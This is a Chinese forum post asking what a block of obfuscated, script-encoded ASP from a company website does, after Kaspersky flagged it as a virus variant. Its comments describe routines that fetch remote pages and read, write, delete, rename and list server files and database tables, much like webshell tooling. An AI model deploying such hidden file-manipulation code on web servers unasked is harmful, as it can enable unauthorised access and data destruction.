这段代码什么意思啊,卡巴说是变种病毒,其实是公司网站的一段ASP代码,看不懂

<%#@~^EhUAAA==@#@&B常用函数@#@&s!xmDkKUPV+O49CDl`kOD`DV*@#@&P,P,rUP3.MW.P"n/!:n~g+6O@#@&d[ks~1E.^wmYt@#@&i[ksP]+DDrn7lV@#@&dE?+M-nDc?1DrwOPb:nr!O'l!TT@#@&djnDP]+D.b+-mV,'PU+M-+MR/DlOn}4L^YvJHb^.WkW6Y (\J_KPnrb@#@&d rDtP]nDDr+7C^@#@&idcrwx,EMYE~,/O.`DVB~smV/S~Jr~,JE@#@&7iRj+ [@#@&d7!Yn8GlOl,xcInkwKx/YaY@#@&7dEIndaWxknRqDkDn~R"+kwGxdn~W[X@#@&@#@&d3U9PrO4@#@&dUnDP]YMk+7l^~',1GY4kUL@#@&2 [PwEx1OrW @#@&@#@&@#@&@#@&s;x1OkKx~PA?Ko(d+csbs1Cs+*PPE这是一个用于检测一个文件是否存在的函数@#@&~P}x~2MDG.,I+k;:P1aO@#@&dk+OPWd{m.+mO+K4%n1Y`Ed1DrwDr o 6k^+/H/Dn:K4%+1YEb,@#@&ir0,kxkO.`6k^+UlhnBJl-rb@!@*!~O4+x@#@&iP~wmO4'WbVxls+@#@&dVd+@#@&7~,wlD4'k+D7n.RtlanCY4cwks+gC:#@#@&i+x[~b0@#@&iKz'oURV2Kwqd3`hbPC*@#@&~,PPknY,0/{UGY4k o@#@&~~,Pr0,nDv#~O4+x@#@&,P~P,~D+dD0bV+{sms/@#@&P,P~n^/+@#@&P,PP,~O+kY6ks+xPMEn@#@&~P,PnU9PkW@#@&+UN,o!x^DkKx@#@&@#@&dE(P^DlOn6WV9c0KxlsnbP,B用来建立一个目录@#@&~P~dY~0kxmM+COW4%n1YcJk^Mk2Dk oR6k^n/H/O+sW8%mYrb@#@&PP,WdR1DlO+WG^NnDvWW lhn*@#@&~~,/nY,Wk'UKY4kxT@#@&nx9PdE(@#@&@#@&0E ^YbWx,On/6W^Nc0GUm:n#,v用来检测指定的目录是否存在@#@&P~~k+Y~Wk'^DCD+G(LmYvJk^DbwOk o WbV+kz/D+:K8%+1Yr#@#@&~~,kWP6dR6Ws[D+arkYd`6G lh#,Ytx@#@&P,P~P,Ynd6WV9xKME+@#@&~P,+^/n@#@&~,P~P,O+k0Gs9'PoC^/n@#@&~,Pn N,k0@#@&,~Pk+OP6/xUKYtbUo@#@&+ [~0!x1YrWU@#@&@#@&@#@&WE mOrKxP]nmNP+XOvsr^+gl:#,~B这是一个用于读出文本文件的函数@#@&7/Y~C90'knD7+Dc/.+mYr8Ln^D`Eb9GN(RjOM+lhE*@#@&dbW,kUkYM`0bVUls+SJ=-Eb@!@*!,Otx@#@&7~PalDtx0rsxC:@#@&i+sd@#@&7~,@#@&d,~alO4'k+D7+M HmwKlDtcobV+gC:#@#@&7nx9Pb0@#@&7AbY4Pm[0@#@&~~,PP~~,B]+k2KxdRqDkD+i2lDt@#@&id PHw+{+@#@&ddcJrx?wCDCOKDxF2@#@&id 6a+x@#@&id SKC9s.K:wkVPv2lDtb@#@&d7 ;tlMd+D'JV$+&8 r@#@&d7 hWdkDrW '+@#@&dd]nmNP+XO{R]l9K+XY@#@&diR/l mnsv#@#@&7dcZVKdn`*@#@&dnx[~SkOt@#@&dk+O~mNsxUKY4k L@#@&n N,0E mDrW @#@&@#@&0;U1YkKUP"+l9WrV`wks+HCs+bP,v这是一个用于读出二进制文件的函数@#@&ddnDPl[W{/nD7nMR/M+mY+}4NnmD`Eb9W[8c?YMnlsJ#@#@&7k6PbxdY.c6ks+ C:~El'J#@!@*ZPOtU@#@&7,PalY4'6rVxC:@#@&7V/@#@&iPPaCOt{/D-+. tl2nmOtvsrs1lhn*@#@&dU9Pr6@#@&dhbY4~l90@#@&id PHw+{q@#@&ddc62+ @#@&d7RJGmNoDKhsbVn~vwlO4*@#@&Pi7"+C90bV+{R"nl9@#@&diR/C m+^c#@#@&di /VK/`b@#@&7x[PSrY4@#@&7k+Y~C9sxxKO4kUT@#@&+x9P6;x1YrW @#@&@#@&?j~~?z.2w(J2vs&S31)\A~9b:)#,Pv用于写入二进制的内容@#@&PPj3:P)fwxU2]j2"RZ"2zP2}AB2;KcEzfrG$RUKIA)\J*@#@&dr0~r /ODvWk^+UCs+~El'Jb@!@*T,Y4x@#@&d,PaCY4'Wk^+UCs+@#@&7+^/+@#@&7P,wmY4'dnM\nDc\lanCO4`srs1C:b@#@&7x9Pk6@#@&@#@&,P q:C~)Gs@#@&7dcKXanxF@#@&id r2n @#@&di MkOn,flOC@#@&7dcjm\n:WwkVPaCY4~+@#@&d7 ;lx1nVv#@#@&77R;VK/n`b@#@&P~2g9PqqPu@#@&P~jAK~bGo{16:C&1M@#@&AHf,/;4@#@&@#@&@#@&/!8PUl\Pn6D`wks+HCs+SfmOl*P~v这是一个用于写文本文件的过程@#@&ddnDPW/{^M+CD+K4LmDcJkm.kaYrUTR0bs+kX/DnhW(LmOJb~@#@&7k6~k /O.v0ksn lh+BE=-E*@!@*!PDtU@#@&d~PalO4{0k^nxm:+@#@&7+^/@#@&d~~alOt{d+M\n.cHl2KmY4`wr^+Hm:#@#@&dUN,kW@#@&P~~,/+D~Yk'0k ^DlD+O+aO6ks+v2lDtSOME+b@#@&P~P,OkRAMkD+VbxcNmYC#@#@&~~,PYk m^W/@#@&P,P,/nY~Ok'UWD4k o@#@&,PP~dY~0kx WO4k o@#@&+ [PkE8@#@&@#@&d!4PUC\K+XOq`wk^+HlhnBfCYmbP,B这是一个用于写文本文件的过程@#@&ik0~r /ODvWbVn ls+~r)'E#@!@*TPDtnU@#@&d,~wmYt{WrVxm:n@#@&7Vd+@#@&d,P2CDt'dnM\nDc\mwKmY4`sbVHls+b@#@&dnU9Pk6@#@&,PP,dnY,Yk'W/ ^M+CYO+XYWr^+`2CDtSYM;#@#@&P,PPD/cADbYnVbxnc9lYmb@#@&PP,~O/cm^Wd+@#@&,P~PknY,Ydx WY4r o@#@&U9Pd!4@#@&@#@&/!8P9+s0bVncwkVHls+#,~v这是一个用于删除文件的过程~如未指定文件名B将删除该目录下所有文件@#@&P~rU~AD.WM~I/;hP1naD@#@&P,r6PWbVxls+{EJ,Y4+ PnabYPk;4@#@&dknOP6/{m.+COW8L^YvJd^MkwOr o 0bs/zkY:W(L^Yr#~@#@&drW,kxkODv0k^nUls+BJl-Eb@!@*TPD4+ @#@&7,PwCO4'Wk^n lh@#@&d+^/@#@&iP~wmY4xk+D7nDcHlaKCY4`wks+HCs+b@#@&7+ N~r6@#@&7@#@&P~B,]/2Kxk+RqDbO+,wCY4@#@&@#@&PP,~0kRNsnY0bVnP2CDtSK"i2@#@&~~,P/nO,Yd' GDtr o@#@&+ N,dE(@#@&@#@&/;8,D+ csbV+gCh+8~6ks+UCs++#,~B这是一个用于改文件名的函数@#@&7dYPWd{m.+mOW8N+1Y`r/1.kaYrxTRWr^+/HdY:W(%nmDJ*P@#@&7r6PrxkODv0rsxlhn8~E)'E*@!@*ZPDt+ @#@&7P,wCY4FxWbV+ C:F@#@&7nVk+@#@&7P~2mY4F{d+M\n.cHl2KmY4`wr^+Hm:F#@#@&inx9Pr0@#@&@#@&ik0,rxkYDvWrVxm:n SE=-E#@!@*!,Y4n @#@&7~,wCY4q{0r^+ l: @#@&dVd+@#@&7~,wlD4 {/+M-nDcHmwKlO4vsrVHls++b@#@&dnU9Pr0@#@&@#@&~,P,0/c:K-+6ks+,wCO4F~aCY4 @#@&~~P,/Y~Ydx WOtbUo@#@&nU9P/;8@#@&@#@&@#@&@#@&d!4,NkM`aCY4#~PE用于读出指定目录下的文件名，并将它们存入一个?3jUqrgcJGqIrb对象中S最多&l!个文件B?3?j( W是一个数组S第一个元素是文件路径和文件名~第二个是文件名@#@&P,PdnDP0dG{m.+mOW8N+1Y`r/1.kaYrxTRWr^+/HdY:W(%nmDJ*@#@&drW,kU/D.`alO4BJ)wE*@!@*!,O4+U@#@&iPPalD4'alOt@#@&7n^/+@#@&d,PwmO4'k+M\nD \mwKlD4`alO4*@#@&7n N~k6@#@&@#@&,P,/+DPsz0KV[+M'WdKRoO0KVN.cwmY4#@#@&~~,Nr:,[kv&XTB #~~@#@&~P,r{!@#@&P,P0KD,nl1t~6,kU~sX0KsNDR6rs+k@#@&P~P~~,P@#@&,~P,P~~9k`rS8#x6@#@&,P~,P,PNb`bS *'W/KRLnD0k^nxm:+vab@#@&P,P~P~~b'r_8@#@&,P~U6Y@#@&,P~/dkkG `rNkMJ*xNb@#@&+ N~d!4@#@&@#@&6Ex1OrW PGq]1)\A`Kb:u#,B读出路径下的文件名S并存在一个数组中第一个元素是路径加文件名S第二个是文件名@#@&P~~k+OP6dK'^M+mY+K4NnmD`E/1Dr2DkxT 0bV+kzdY:K4%+^Or#@#@&ir0,kUdDD`2CDtSJ=wr#@!@*!,Ytx@#@&d,P2lDtx2mYt@#@&dV/@#@&d,PalOtxdD-+M HmwKCDt`2CDtb@#@&7x[,k6@#@&,P,d+DPhX6Ws[D'6dWco+DWGV9+M`2lO4*@#@&P,~Nb:~[b`&XTZ~+#,~@#@&~,Pb'!@#@&,~P6W.Pl^4,6PbUPsX0Ks[+MR6ks+d@#@&P~P,~P,Nrcb~FbxX@#@&P,~,P~,Nb`kB *x0kW oYWr^+xmh+v6#@#@&7P,@#@&P~P~~,Pr'bQF@#@&~~,x+aO@#@&~P,9&IHzHA'f&@#@&~P,@#@&2gf~W!xmDrW @#@&@#@&@#@&@#@&wEUmOrKx~2Mc#,Pv错误处理@#@&PP~~,P~P&W,2.MRgE:(+M~',!~K4+U@#@&PP,~P,PPA.~',smVd+@#@&,P~P,~P,2sd@#@&~~,P~P,~AD.cZ^+lM@#@&~P,P~P,P3.,'P:.E@#@&,~~P,P,P3x[~&0@#@&,3x9Po; mYrG @#@&@#@&W!x^DkKxPDl(skkYc#,Pv用于检测当前连接的数据库有哪些表@#@&PNbhPDl4^rcFZ!*@#@&PjnDP~DkO?1tnhm'mGU R6wUUm4:m` Z#@#@&P^kr'Z@#@&~GWP,ixDkV,~./D?1tn:C Aro@#@&~Pb0~.kY?^4:C`2b{JPzAd2J,PD4+ @#@&P,P~Om4VbcVbk#{.dYUm4+hlc+*@#@&P,~P^krx^kkQq@#@&~PU9Pr6P,P@#@&P,./D?^t:C tW\H+XY@#@&~JWKw@#@&~YC8^kdY{Ol(Vr@#@&+x[~6EUmDrKx@#@&@#@&@#@&1E4FAA==^#~@%> <%#@~^EhUAAA==@#@&B常用函数@#@&s!xmDkKUPV+O49CDl`